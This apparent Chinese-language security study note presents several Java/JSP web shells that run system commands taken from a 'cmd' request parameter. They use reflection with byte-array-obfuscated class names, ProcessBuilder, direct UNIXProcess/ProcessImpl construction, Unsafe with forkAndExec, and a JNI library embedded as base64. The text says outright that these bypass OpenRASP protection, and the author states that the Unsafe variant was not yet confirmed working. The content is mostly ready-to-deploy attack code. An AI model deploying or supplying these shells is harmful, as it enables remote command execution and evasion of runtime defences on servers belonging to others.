    String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});

    // 反射java.lang.Runtime类获取Class对象
    Class<?> c = Class.forName(rt);

    // 反射获取Runtime类的getRuntime方法
    Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));

    // 反射获取Runtime类的exec方法
    Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);

    // 反射调用Runtime.getRuntime().exec(xxx)方法
    Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});

    // 反射获取Process类的getInputStream方法
    Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
    m.setAccessible(true);

    // 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
    Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
    String result = s.hasNext() ? s.next() : "";

    // 输出命令执行结果
    out.println(result);
%>

ProcessBuilder命令执行

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %><%--
  Created by IntelliJ IDEA.
  User: 12451
  Date: 2021/7/19
  Time: 13:53
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Process_builder测试</title>
</head>
<body>
    <%InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte []b = new byte[1024];
        int a=-1;
        while((a=in.read())!=-1){
            baos.write(b,0,a);
        }
        out.write("<pre>"+ baos.toString() +"</pre>");
        //此处原来是
        //out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
    %>

</body>
</html>

UNIXProcess/ProcessImpl

UNIXProcessProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中了

其中UNIXProcess 和ProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExrcforkExec的示例

private native int forkAndExec(int mode, byte[] helperpath,
                                   byte[] prog,
                                   byte[] argBlock, int argc,
                                   byte[] envBlock, int envc,
                                   byte[] dir,
                                   int[] fds,
                                   boolean redirectErrorStream)
        throws IOException;

OpenRASP提过这个问题,他们只防御到了ProcessBuilder.start()方法,

而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImplforkAndExec方法就可以绕过RASP实现命令执行了。

UNIXProcess/ProcessImpl执行本地命令

以下代码适用于linux,并不适用于windows

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>

<%!
    byte[] toCString(String s) {
        if (s == null) {
            return null;
        }

        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0, result, 0, bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }

    InputStream start(String[] strs) throws Exception {
        // java.lang.UNIXProcess
        String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});

        // java.lang.ProcessImpl
        String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});

        Class clazz = null;

        // 反射创建UNIXProcess或者ProcessImpl
        try {
            clazz = Class.forName(unixClass);
        } catch (ClassNotFoundException e) {
            clazz = Class.forName(processClass);
        }

        // 获取UNIXProcess或者ProcessImpl的构造方法
        Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        assert strs != null && strs.length > 0;

        // Convert arguments to a contiguous block; it's easier to do
        // memory management in Java than in C.
        byte[][] args = new byte[strs.length - 1][];

        int size = args.length; // For added NUL bytes
        for (int i = 0; i < args.length; i++) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int    i        = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }

        int[] envc    = new int[1];
        int[] std_fds = new int[]{-1, -1, -1};

        FileInputStream  f0 = null;
        FileOutputStream f1 = null;
        FileOutputStream f2 = null;

        // In theory, close() can throw IOException
        // (although it is rather unlikely to happen here)
        try {
            if (f0 != null) f0.close();
        } finally {
            try {
                if (f1 != null) f1.close();
            } finally {
                if (f2 != null) f2.close();
            }
        }

        // 创建UNIXProcess或者ProcessImpl实例
        Object object = constructor.newInstance(
                toCString(strs[0]), argBlock, args.length,
                null, envc[0], null, std_fds, false
        );

        // 获取命令执行的InputStream
        Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
        inMethod.setAccessible(true);

        return (InputStream) inMethod.invoke(object);
    }

    String inputStreamToString(InputStream in, String charset) throws IOException {
        try {
            if (charset == null) {
                charset = "UTF-8";
            }

            ByteArrayOutputStream out = new ByteArrayOutputStream();
            int                   a   = 0;
            byte[]                b   = new byte[1024];

            while ((a = in.read(b)) != -1) {
                out.write(b, 0, a);
            }

            return new String(out.toByteArray());
        } catch (IOException e) {
            throw e;
        } finally {
            if (in != null)
                in.close();
        }
    }
%>
<%
    String[] str = request.getParameterValues("cmd");

    if (str != null) {
        InputStream in     = start(str);
        String      result = inputStreamToString(in, "UTF-8");
        out.println("<pre>");
        out.println(result);
        out.println("</pre>");
        out.flush();
        out.close();
    }
%>

forkAndExec命令执行-Unsafe+反射+Native方法调用

  1. 使用 sun.misc.Unsafe.allocateInstance(Class)特性可以无需 new或者 newInstance创建 UNIXProcess/ProcessImpl类对象。
  2. 反射 UNIXProcess/ProcessImpl类的 forkAndExec方法。
  3. 构造 forkAndExec需要的参数并调用。
  4. 反射 UNIXProcess/ProcessImpl类的 initStreams方法初始化输入输出结果流对象。
  5. 反射 UNIXProcess/ProcessImpl类的 getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。

目前以下代码我还没有复现成功,稍后尝试更换jdk

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
    byte[] toCString(String s) {
        if (s == null)
            return null;
        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0,
                result, 0,
                bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }


%>
<%
    String[] strs = request.getParameterValues("cmd");

    if (strs != null) {
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

        Class processClass = null;

        try {
            processClass = Class.forName("java.lang.UNIXProcess");
        } catch (ClassNotFoundException e) {
            processClass = Class.forName("java.lang.ProcessImpl");
        }

        Object processObject = unsafe.allocateInstance(processClass);

        // Convert arguments to a contiguous block; it's easier to do
        // memory management in Java than in C.
        byte[][] args = new byte[strs.length - 1][];
        int      size = args.length; // For added NUL bytes

        for (int i = 0; i < args.length; i++) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int    i        = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }

        int[] envc                 = new int[1];
        int[] std_fds              = new int[]{-1, -1, -1};
        Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
        Field helperpathField      = processClass.getDeclaredField("helperpath");
        launchMechanismField.setAccessible(true);
        helperpathField.setAccessible(true);
        Object launchMechanismObject = launchMechanismField.get(processObject);
        byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);

        int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

        Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
                int.class, byte[].class, byte[].class, byte[].class, int.class,
                byte[].class, int.class, byte[].class, int[].class, boolean.class
        });

        forkMethod.setAccessible(true);// 设置访问权限

        int pid = (int) forkMethod.invoke(processObject, new Object[]{
                ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
                null, envc[0], null, std_fds, false
        });

        // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
        Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
        initStreamsMethod.setAccessible(true);
        initStreamsMethod.invoke(processObject, std_fds);

        // 获取本地执行结果的输入流
        Method getInputStreamMethod = processClass.getMethod("getInputStream");
        getInputStreamMethod.setAccessible(true);
        InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        int                   a    = 0;
        byte[]                b    = new byte[1024];

        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        out.println("<pre>");
        out.println(baos.toString());
        out.println("</pre>");
        out.flush();
        out.close();
    }
%>

JNI命令执行

java可以通过JNI的方式调用动态链接库,我们只要在动态链接库中写入一个执行本地方法的命令就可以了。

<%--
  Created by IntelliJ IDEA.
  User: yz
  Date: 2019/12/6
  Time: 4:59 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
    private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";

    /**
     * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
     * 只有一个public static native String exec(String cmd);的方法
     */
    private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
            0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
            101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
            110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
            99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
            101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
            99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
            111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
            106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
            2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
            0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
            9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
    };

    // JNI文件Base64编码后的值,这里默认提供一份MacOS的JNI库文件用于测试,其他系统请自行编译
    private static final String COMMAND_JNI_FILE_BYTES = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA